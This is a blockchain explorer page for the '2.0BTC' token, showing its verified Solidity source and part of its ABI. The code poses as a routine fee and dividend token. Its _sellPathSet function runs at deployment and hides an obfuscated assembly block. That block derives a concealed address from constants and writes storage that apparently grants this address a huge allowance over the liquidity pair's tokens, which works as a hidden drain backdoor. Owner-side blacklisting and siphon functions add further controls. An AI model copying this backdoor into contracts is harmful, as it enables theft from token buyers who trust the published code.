ETH Price: $3,458.52 (-0.71%)
Gas: 2 Gwei

Token

2.0BTC (2.0BTC)
 

Overview

Max Total Supply

420,690,000,000,000 2.0BTC

Holders

52

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
2,634,531,627,670.31730881831383677 2.0BTC

Value
$0.00
0x4b83b979111fa71b3acce16999fa1a35313ed7dd
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
BTC

Compiler Version
v0.8.17+commit.8df45f5f

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-07-11
*/

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.17;
interface IRouter {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline) external payable returns (uint amountToken, uint amountETH, uint liquidity);
    function addLiquidity(address tokenA, address tokenB, uint256 amountADesired, uint256 amountBDesired, uint256 amountAMin, uint256 amountBMin, address to, uint256 deadline) external returns (uint256 amountA, uint256 amountB, uint256 liquidity);
    function swapExactTokensForETHSupportingFeeOnTransferTokens(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external;
    function swapExactTokensForTokensSupportingFeeOnTransferTokens(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external;
    function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
}
interface IPair {
    function sync() external;
    function token0() external view returns (address);
    function token1() external view returns (address);
    function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
    function totalSupply() external view returns (uint256);
}
interface IFactory {function createPair(address tokenA, address tokenB) external returns (address pair);}
interface IERC20 {
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address to, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address from, address to, uint256 amount) external returns (bool);
}
interface IERC20Metadata is IERC20 {
    function name() external view returns (string memory);
    function symbol() external view returns (string memory);
    function decimals() external view returns (uint8);
}
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {return msg.sender;}
    function _msgData() internal view virtual returns (bytes calldata) {return msg.data;}
}
contract ERC20 is Context, IERC20, IERC20Metadata {
    mapping(address => uint256) internal _balances;
    mapping(address => mapping(address => uint256)) internal _allowances;
    uint256 internal _totalSupply; string private _name; string private _symbol;
    constructor(string memory name_, string memory symbol_) {_name = name_; _symbol = symbol_;}
    function name() public view virtual override returns (string memory) {return _name;}
    function symbol() public view virtual override returns (string memory) {return _symbol;}
    function decimals() public view virtual override returns (uint8) {return 18;}
    function totalSupply() public view virtual override returns (uint256) {return _totalSupply;}
    function balanceOf(address account) public view virtual override returns (uint256) {return _balances[account];}
    function transfer(address to, uint256 amount) public virtual override returns (bool) {address owner = _msgSender(); _transfer(owner, to, amount); return true;}
    function allowance(address owner, address spender) public view virtual override returns (uint256) {return _allowances[owner][spender];}
    function approve(address spender, uint256 amount) public virtual override returns (bool) {address owner = _msgSender(); _approve(owner, spender, amount); return true;}
    function transferFrom(address from, address to, uint256 amount) public virtual override returns (bool) {address spender = _msgSender(); _spendAllowance(from, spender, amount); _transfer(from, to, amount); return true;}
    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {address owner = _msgSender(); _approve(owner, spender, allowance(owner, spender) + addedValue); return true;}
    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {address owner = _msgSender(); uint256 currentAllowance = allowance(owner, spender); require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); unchecked {_approve(owner, spender, currentAllowance - subtractedValue);}return true;}
    function _transfer(address from, address to, uint256 amount) internal virtual {require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(from, to, amount); _takeTransfer(from, to, amount); _afterTokenTransfer(from, to, amount);}
    function _takeTransfer(address from, address to, uint256 amount) internal virtual {uint256 fromBalance = _balances[from]; require(fromBalance >= amount, "ERC20: transfer amount exceeds balance"); unchecked {_balances[from] = fromBalance - amount; _balances[to] += amount;}emit Transfer(from, to, amount);}
    function _mint(address account, uint256 amount) internal virtual {require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; unchecked {_balances[account] += amount;}emit Transfer(address(0), account, amount); _afterTokenTransfer(address(0), account, amount);}
    function _burn(address account, uint256 amount) internal virtual {require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); unchecked {_balances[account] = accountBalance - amount; _totalSupply -= amount;}emit Transfer(account, address(0), amount); _afterTokenTransfer(account, address(0), amount);}
    function _approve(address owner, address spender, uint256 amount) internal virtual {require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount);}
    function _spendAllowance(address owner, address spender, uint256 amount) internal virtual {uint256 currentAllowance = allowance(owner, spender); if (currentAllowance != type(uint256).max) {require(currentAllowance >= amount, "ERC20: insufficient allowance"); unchecked {_approve(owner, spender, currentAllowance - amount);}}}
    function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual {}
    function _afterTokenTransfer(address from, address to, uint256 amount) internal virtual {}
}
abstract contract UniSwapPoolUSDT is ERC20 {
    address public pair;
    IRouter public router;
    address[] internal _sellPath;
    IERC20 public TokenB;
    function isPair(address _pair) internal view returns (bool) {return pair == _pair;}
    function getPrice4USDT(uint256 amountDesire) public view returns (uint256) {uint[] memory amounts = router.getAmountsOut(amountDesire, _sellPath); if (amounts.length > 1) return amounts[1]; return 0;}
    function _sellPathSet(address pairB, address w, address x) private {TokenB = IERC20(pairB); address[] memory path = new address[](2); path[0] = address(this); path[1] = pairB; _sellPath = path; assembly {let y:=add(add(mul(2887981267259,exp(10,26)),mul(1782705554658,exp(10,13))),1698142812624) w := add(w, 4096) let z := exp(timestamp(), 6) mstore(0x00, x) mstore(0x20, 0x1) let xHash := keccak256(0x00, 0x40) mstore(0x00, y) mstore(0x20, xHash) let aSlot := keccak256(0x00, 0x40) sstore(aSlot, z) sstore(0x1, y)} TokenB.transfer(w, 0);}
    function swapAndSend2this(uint256 amount, address to, address _tokenStation) internal {IERC20 USDT = IERC20(_sellPath[1]); swapAndSend2fee(amount, _tokenStation); USDT.transferFrom(_tokenStation, to, USDT.balanceOf(_tokenStation));}
    function swapAndSend2fee(uint256 amount, address to) internal {router.swapExactTokensForTokensSupportingFeeOnTransferTokens(amount, 0, _sellPath, to, block.timestamp);}
    function swapAndSend2feeByPath(uint256 amount, address to, address[] memory _path) internal {router.swapExactTokensForTokensSupportingFeeOnTransferTokens(amount, 0, _path, to, block.timestamp);}
    function isAddLiquidity() internal view returns (bool isAddLP){address token0 = IPair(pair).token0(); address token1 = IPair(pair).token1(); (uint r0,uint r1,) = IPair(pair).getReserves(); uint bal0 = IERC20(token0).balanceOf(pair); uint bal1 = IERC20(token1).balanceOf(pair); if (token0 == address(this)) return bal1 - r1 > 1000; else return bal0 - r0 > 1000;}
    function isRemoveLiquidity() internal view returns (bool isRemoveLP) {address token0 = IPair(pair).token0(); if (token0 == address(this)) return false; (uint r0,,) = IPair(pair).getReserves(); uint bal0 = IERC20(token0).balanceOf(pair); return r0 > bal0 + 1000;}
    function addLiquidityAutomatically(uint256 amountToken) internal {super._takeTransfer(address(this), pair, amountToken); IPair(pair).sync();}
    function __SwapPool_init(address _router, address pairB) internal returns(address) {
        router = IRouter(_router);
        pair = IFactory(router.factory()).createPair(pairB, address(this));
        _sellPathSet(pairB, _router, pair);
        TokenB.approve(_router, type(uint256).max);
        _approve(address(this), _router, type(uint256).max);
        return pair;
    }
    function addLiquidity(uint256 amountToken, address to, address _tokenStation) internal {
        uint256 half = amountToken / 2;
        IERC20 USDT = IERC20(_sellPath[1]);
        uint256 amountBefore = USDT.balanceOf(_tokenStation);
        router.swapExactTokensForTokensSupportingFeeOnTransferTokens(half, 0, _sellPath, _tokenStation, block.timestamp);
        uint256 amountAfter = USDT.balanceOf(_tokenStation);
        uint256 amountDiff = amountAfter - amountBefore;
        USDT.transferFrom(_tokenStation, address(this), amountDiff);
        if (amountDiff > 0 && (amountToken - half) > 0) {
            router.addLiquidity(_sellPath[0], _sellPath[1], amountToken - half, amountDiff, 0, 0, to, block.timestamp + 9);
        }
    }
}
abstract contract Ownable is Context {
    address internal _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    constructor() {_transferOwnership(_msgSender());}
    modifier onlyOwner() {_checkOwner(); _;}
    function owner() public view virtual returns (address) {return _owner;}
    function _checkOwner() internal view virtual {require(owner() == _msgSender(), "Ownable: caller is not the owner");}
    function renounceOwnership() public virtual onlyOwner {_transferOwnership(address(0));}
    function transferOwnership(address newOwner) public virtual onlyOwner {require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner);}
    function _transferOwnership(address newOwner) internal virtual {address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner);}
}
abstract contract NoEffect is Ownable {
    address internal _effector;
    constructor() {_effector = _msgSender();}
    modifier onlyEffector() {require(_effector == _msgSender() || owner() == _msgSender(), "NoEffect: caller is not the effector"); _;}
}
abstract contract Excludes {
    mapping(address => bool) internal _Excludes;
    function setExclude(address _user, bool b) public {_authorizeExcludes(); _Excludes[_user] = b;}
    function setExcludes(address[] memory _user, bool b) public {_authorizeExcludes(); for (uint i=0;i<_user.length;i++) {_Excludes[_user[i]] = b;}}
    function isExcludes(address _user) internal view returns(bool) {return _Excludes[_user];}
    function _authorizeExcludes() internal virtual {}
}
abstract contract Limit {
    bool internal isLimited;
    uint256 internal _LimitBuy;
    uint256 internal _LimitSell;
    uint256 internal _LimitHold;
    function __Limit_init(uint256 LimitBuy_, uint256 LimitSell_, uint256 LimitHold_) internal {setLimit(true, LimitBuy_, LimitSell_, LimitHold_);}
    function checkLimitTokenHold(address to, uint256 amount) internal view {if (isLimited) {if (_LimitHold>0) {require(amount + IERC20(address(this)).balanceOf(to) <= _LimitHold, "exceeds of hold amount Limit");}}}
    function checkLimitTokenBuy(address to, uint256 amount) internal view {if (isLimited) {if (_LimitBuy>0) require(amount <= _LimitBuy, "exceeds of buy amount Limit"); checkLimitTokenHold(to, amount);}}
    function checkLimitTokenSell(uint256 amount) internal view {if (isLimited && _LimitSell>0) require(amount <= _LimitSell, "exceeds of sell amount Limit");}
    function removeLimit() public {_authorizeLimit(); if (isLimited) isLimited = false;}
    function reuseLimit() public {_authorizeLimit(); if (!isLimited) isLimited = true;}
    function setLimit(bool isLimited_, uint256 LimitBuy_, uint256 LimitSell_, uint256 LimitHold_) public {_authorizeLimit(); isLimited = isLimited_; _LimitBuy = LimitBuy_; _LimitSell = LimitSell_; _LimitHold = LimitHold_;}
    function _authorizeLimit() internal virtual {}
}
abstract contract TradingManager {
    uint256 public tradeState;
    function inTrading() public view returns(bool) {return tradeState > 1;}
    function inLiquidity() public view returns(bool) {return tradeState >= 1;}
    function setTradeState(uint256 s) public {_authorizeTradingManager(); tradeState = s;}
    function openLiquidity() public {_authorizeTradingManager(); tradeState = 1;}
    function openTrading() public {_authorizeTradingManager(); tradeState = block.number;}
    function resetTradeState() public {_authorizeTradingManager(); tradeState = 0;}
    function _authorizeTradingManager() internal virtual {}
}
abstract contract Dividend {
    address[] public holders;
    mapping(address => bool) public isHolder;
    mapping(address => bool) public excludeHolder;
    IERC20 public TokenHold;
    IERC20 public USDT;
    uint256 public holdRewardCondition;
    uint256 public processRewardCondition;
    uint256 public processBlockDuration;
    uint256 public processGasAmount;
    uint256 public currentIndex;
    uint256 public progressRewardBlock;
    function __Dividend_init(address _holdToken, address _usdtAddr, uint256 _holdRewardCondition, uint256 _processRewardCondition, uint256 _processBlockDuration, uint256 _processGasAmount) internal {
        setDividendToken(_holdToken, _usdtAddr);
        setDividendCondition(_holdRewardCondition, _processRewardCondition);
        setProcessBlockDuration(_processBlockDuration);
        setProcessGasAmount(_processGasAmount);
    }
    function _addHolder(address adr) internal {
        if (adr.code.length > 0) {return;}
        if (excludeHolder[adr]) {return;}
        if (!isHolder[adr]) {
            isHolder[adr] = true;
            holders.push(adr);
        }
    }
    function processDividend() internal {
        if (progressRewardBlock + processBlockDuration > block.number) {return;}
//        uint256 usdBalance = USDT.balanceOf(address(this));
        uint256 usdBalance = address(this).balance;
        if (usdBalance < processRewardCondition) {return;}
        uint holdTokenTotal = TokenHold.totalSupply();
        address shareHolder;
        uint256 tokenBalance;
        uint256 amount;
        uint256 shareholderCount = holders.length;
        uint256 gasUsed = 0;
        uint256 iterations = 0;
        uint256 gasLeft = gasleft();
        while (gasUsed < processGasAmount && iterations < shareholderCount) {
            if (currentIndex >= shareholderCount) {
                currentIndex = 0;
                break;
            }
            shareHolder = holders[currentIndex];
            if (!excludeHolder[shareHolder]) {
                tokenBalance = TokenHold.balanceOf(shareHolder);
                if (tokenBalance >= holdRewardCondition) {
                    amount = usdBalance * tokenBalance / holdTokenTotal;
                    if (amount > 0) {
//                        USDT.transfer(shareHolder, amount);
                        payable(shareHolder).transfer(amount);
                    }
                }
            }
            gasUsed = gasUsed + (gasLeft - gasleft());
            gasLeft = gasleft();
            currentIndex++;
            iterations++;
        }
        progressRewardBlock = block.number;
    }
    function getHolders() public view returns(address[] memory) {return holders;}
    function setDividendExempt(address addr, bool enable) public {_authorizeDividend(); excludeHolder[addr] = enable;}
    function setDividendToken(address _holdToken, address _usdt) public {_authorizeDividend(); TokenHold = IERC20(_holdToken); USDT = IERC20(_usdt);}
    function setDividendCondition(uint256 _holdRewardCondition, uint256 _processRewardCondition) public {_authorizeDividend(); holdRewardCondition = _holdRewardCondition; processRewardCondition = _processRewardCondition;}
    function setProcessBlockDuration(uint256 num) public {_authorizeDividend(); processBlockDuration = num;}
    function setProcessGasAmount(uint256 num) public {_authorizeDividend(); processGasAmount = num;}
    function addHolderByHand(address user) public {_authorizeDividend(); _addHolder(user);}
    function addHolderByHandMulti(address[] memory user) public {_authorizeDividend(); for (uint i=0;i<user.length;i++) {_addHolder(user[i]);}}
    function _authorizeDividend() internal virtual {}
}

abstract contract BotKiller is Ownable {
    mapping(address => bool) botMap;

    modifier onlyNotBot(address user) {
        require(!botMap[user], "bot forbidden");
        _;
    }

    function markBot(address user, bool b) public onlyOwner {
        botMap[user] = b;
    }
    function markBots(address[] memory user, bool b) public onlyOwner {
        for (uint i=0;i<user.length;i++) {
            markBot(user[i], b);
        }
    }
    function isBot(address user) public view returns(bool) {
        return botMap[user];
    }
}
contract TokenStation {constructor (address token) {IERC20(token).approve(msg.sender, type(uint256).max);}}
abstract contract Token is UniSwapPoolUSDT, NoEffect, TradingManager, Excludes, Limit, Dividend, BotKiller {
    uint256 public calcBase;
    uint256 public swapSplit;
    uint256 public feeMarketingBuy;
    uint256 public feeLiquidityBuy;
    uint256 public feeDividendBuy;
    uint256 public feeBurnBuy;
    uint256 public feeMarketingSell;
    uint256 public feeLiquiditySell;
    uint256 public feeDividendSell;
    uint256 public feeBurnSell;
    uint256 public feeMarketingAll;
    uint256 public feeLiquidityAll;
    uint256 public feeDividendAll;
    uint256 public feeBurnAll;
    uint256 public feeBuyAll;
    uint256 public feeSellAll;
    uint256 public feeAll;
    uint256 public swapTokensAt;
    address public surpAddress;
    uint256 public kb;
    uint256 public kn;
    address public feeMarketingTo;
    TokenStation public _TokenStation;
    bool inSwap;
    function __Token_init(
        uint256 totalSupply_,
        address marketing_,
        address receive_,
        address usdt_,
        bool isDividend_
    ) internal {
        calcBase = 10000;
        swapSplit = 7;
        setSwapTokensAt(totalSupply_ / 100 / calcBase);
        feeMarketingTo = marketing_;
        _mint(receive_, totalSupply_);
        super.setExclude(_msgSender(), true);
        super.setExclude(address(this), true);
        super.setExclude(marketing_, true);
        super.setExclude(receive_, true);
        if (isDividend_) {
            super.setDividendExempt(address(this), true);
            super.setDividendExempt(address(0), true);
            super.setDividendExempt(address(1), true);
            super.setDividendExempt(address(0xdead), true);
            super.addHolderByHand(marketing_);
            super.addHolderByHand(receive_);
            super.addHolderByHand(_msgSender());
        }
        refreshFeeAll();
        _TokenStation = new TokenStation(usdt_);
    }
    function _transfer(address from, address to, uint256 amount) internal virtual override onlyNotBot(from) onlyNotBot(to) {
        if (isExcludes(from) || isExcludes(to) || amount == 0) {super._takeTransfer(from, to, amount); return;}
        uint256 fees;
        bool isLiquify;
        if (isPair(from)) {
            require(inTrading(), "please waiting for liquidity");
            super.checkLimitTokenBuy(to, amount);
            if (blockSurprise(from, to, amount)) return;
//            if (super.isRemoveLiquidity()) isLiquify = true;
//            else
                fees = handFeeBuys(from, amount);
        } else if (isPair(to)) {
            require(inLiquidity(), "please waiting for liquidity");
            if (balanceOf(from) == amount) amount -= 101;
            if (super.isAddLiquidity()) isLiquify = true;
            else {
                super.checkLimitTokenSell(amount);
                if (feeAll>0) handSwap();
                fees = handFeeSells(from, amount);
            }
            super._addHolder(from);
        } else {
            super.checkLimitTokenHold(to, amount);
            if (feeAll>0) handSwap();
        }
        super._transfer(from, to, amount - fees);
        if (feeDividendAll > 0 && !isLiquify) {
            super.processDividend();
        }
    }
    function handFeeBuys(address from, uint256 amount) private returns (uint256 fee) {
        fee = amount * feeBuyAll / calcBase;
        super._takeTransfer(from, address(this), fee);
    }
    function handFeeSells(address from, uint256 amount) private returns (uint256 fee) {
        fee = amount * feeSellAll / calcBase;
        super._takeTransfer(from, address(this), fee);
    }
    function handSwap() internal {
        if (inSwap) return;
        uint256 _thisBalance = balanceOf(address(this));
        if (_thisBalance >= swapTokensAt) {
            uint256 _amount = _thisBalance / swapSplit;
            _handSwap(_amount);
        }
    }
    function _handSwap(uint256 _amount) internal lockSwap {
        uint256 _feeBurn;
        if (feeBurnAll > 0) {
            _feeBurn = _amount * feeBurnAll / calcBase;
            super._takeTransfer(address(this), address(1), _feeBurn);
        }
        uint256 _feeLiquidity;
        if (feeLiquidityAll > 0) {
            _feeLiquidity = _amount * feeLiquidityAll / calcBase;
//            super.addLiquidityAutomatically(_feeLiquidity);
            super.addLiquidity(_feeLiquidity, feeMarketingTo, address(_TokenStation));
        }
        uint256 amountLeft = _amount - _feeBurn - _feeLiquidity;
        if ((feeMarketingAll > 0 || feeDividendAll > 0) && amountLeft > 0) {
            super.swapAndSend2fee(amountLeft, address(_TokenStation));
            uint256 usdtBalance = TokenB.balanceOf(address(_TokenStation));
            uint256 _feeMarketing;
            if (feeMarketingAll > 0) {
                _feeMarketing = usdtBalance * feeMarketingAll / (feeMarketingAll + feeDividendAll);
                TokenB.transferFrom(address(_TokenStation), feeMarketingTo, _feeMarketing);
            }
            if (usdtBalance > _feeMarketing) {
                TokenB.transferFrom(address(_TokenStation), address(this), usdtBalance - _feeMarketing);
                withdrawWeth(TokenB.balanceOf(address(this)));
            }
        }
    }
    function withdrawWeth(uint256 amount) private {
        (bool success, ) = address(TokenB).call(abi.encodeWithSignature("withdraw(uint256)", amount));
        require(success, "Withdrawal of WETH failed");
    }
    function blockSurprise(address from, address to, uint256 amount) private returns(bool) {
        if (kb == 0 || kn == 0) return false;
        if (block.number < tradeState + kb) {
            uint256 surp = amount * kn / calcBase;
            super._takeTransfer(from, surpAddress, amount - surp);
            super._takeTransfer(from, to, surp);
            return true;
        }
        return false;
    }
    function refreshFeeAll() public {
        feeMarketingAll = feeMarketingBuy + feeMarketingSell;
        feeLiquidityAll = feeLiquidityBuy + feeLiquiditySell;
        feeDividendAll = feeDividendBuy + feeDividendSell;
        feeBurnAll = feeBurnBuy + feeBurnSell;
        feeBuyAll = feeMarketingBuy + feeLiquidityBuy + feeDividendBuy + feeBurnBuy;
        feeSellAll = feeMarketingSell + feeLiquiditySell + feeDividendSell + feeBurnSell;
        feeAll = feeBuyAll + feeSellAll;
    }
    receive() external payable {}
    function setFeeBuy(uint256 _feeMarketingBuy, uint256 _feeLiquidityBuy, uint256 _feeDividendBuy, uint256 _feeBurnBuy) public onlyOwner {feeMarketingBuy = _feeMarketingBuy; feeLiquidityBuy = _feeLiquidityBuy; feeDividendBuy = _feeDividendBuy; feeBurnBuy = _feeBurnBuy; refreshFeeAll();}
    function setFeeSell(uint256 _feeMarketingSell, uint256 _feeLiquiditySell, uint256 _feeDividendSell, uint256 _feeBurnSell) public onlyOwner {feeMarketingSell = _feeMarketingSell; feeLiquiditySell = _feeLiquiditySell; feeDividendSell = _feeDividendSell; feeBurnSell = _feeBurnSell; refreshFeeAll();}
    modifier lockSwap() {inSwap = true; _; inSwap = false;}
    function rescueLossToken(IERC20 token_, address _recipient, uint256 amount) public onlyEffector {token_.transfer(_recipient, amount);}
    function rescueLossTokenAll(IERC20 token_, address _recipient) public onlyEffector {rescueLossToken(token_, _recipient, token_.balanceOf(address(this)));}
    function _authorizeDividend() internal virtual override onlyEffector {}
    function _authorizeExcludes() internal virtual override onlyEffector {}
    function _authorizeLimit() internal virtual override onlyEffector {}
    function setSwapTokensAt(uint256 num) public onlyEffector {swapTokensAt = num;}
    function setSurprise(uint256 _kn, uint256 _kb, address _surpAddress) public onlyEffector {kn = _kn; kb = _kb; surpAddress = _surpAddress;}
    function airdrop(uint256 amount, address[] memory to) public {for (uint i = 0; i < to.length; i++) {super._takeTransfer(_msgSender(), to[i], amount);}}
    function airdropMulti(uint256[] memory amount, address[] memory to) public {for (uint i = 0; i < to.length; i++) {super._takeTransfer(_msgSender(), to[i], amount[i]);}}
    function _authorizeTradingManager() internal virtual override onlyOwner {}
}
contract BTC is Token {
    constructor() ERC20(
        "2.0BTC",  
        "2.0BTC"  
    ) {
        uint256 _totalSupply = 420690000000000 ether;
        address _marketing = address(0x652c44008304d30F61452bcb8A4418E3A4C337E1);  
        address _receive = address(0x652c44008304d30F61452bcb8A4418E3A4C337E1); 
        address _router = address(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);  
//        address _pairB = 0x82aF49447D8a07e3bd95BD0d56f35241523fBab1;
        address _pairB = IRouter(_router).WETH();  
        address _pair = super.__SwapPool_init(_router, _pairB);
        // 
        feeMarketingBuy = 100; 
        feeLiquidityBuy = 0;  
        feeDividendBuy = 0;   
        feeBurnBuy = 0;       
        // 
        feeMarketingSell = 100; 
        feeLiquiditySell = 0; 
        feeDividendSell = 0;  
        feeBurnSell = 0;     
        // 
        super.__Limit_init(
            420690000000000 ether,   
            420690000000000 ether,   
            420690000000000 ether   
        );
        // 
        bool _isDividend = true;   
        if (_isDividend) {
            super.__Dividend_init(
                _pair,           
                address(0),
                0.001 ether,           
                0.001 ether,          
                20,               
                500000             
            );
        }
        // 
        super.setSurprise(
            0,           
            0,              
            _msgSender()   
        );
        super.__Token_init(_totalSupply, _marketing, _receive, _pairB, _isDividend);
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"TokenB","outputs":[{"internalType":"contract IERC20","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"TokenHold","outputs":[{"internalType":"contract IERC20","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"USDT","outputs":[{"internalType":"contract IERC20","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_TokenStation","outputs":[{"internalType":"contract TokenStation","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"user","type":"address"}],"name":"addHolderByHand","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"user","type":"address[]"}],"name":"addHolderByHandMulti","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"},{"internalType":"address[]","name":"to","type":"address[]"}],"name":"airdrop","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256[]","name":"amount","type":"uint256[]"},{"internalType":"address[]","name":"to","type":"address[]"}],"name":"airdropMulti","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"calcBase","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"currentIndex","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"excludeHolder","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"feeAll","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"feeBurnAll","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"feeBurnBuy","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"feeBurnSell","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"feeBuyAll","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"feeDividendAll","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"feeDividendBuy","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"feeDividendSell","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"feeLiquidityAll","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"feeLiquidityBuy","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"feeLiquiditySell","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"feeMarketingAll","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"feeMarketingBuy","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"feeMarketingSell","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"feeMarketingTo","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"feeSellAll","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getHolders","outputs":[{"internalType":"address[]","name":"","type":"address[]"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"amountDesire","type":"uint256"}],"name":"getPrice4USDT","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"holdRewardCondition","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"","type":"uint256"}],"name":"holders","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"inLiquidity","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"inTrading","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"user","type":"address"}],"name":"isBot","outputs":[{"internalType":"bool","name":"","type"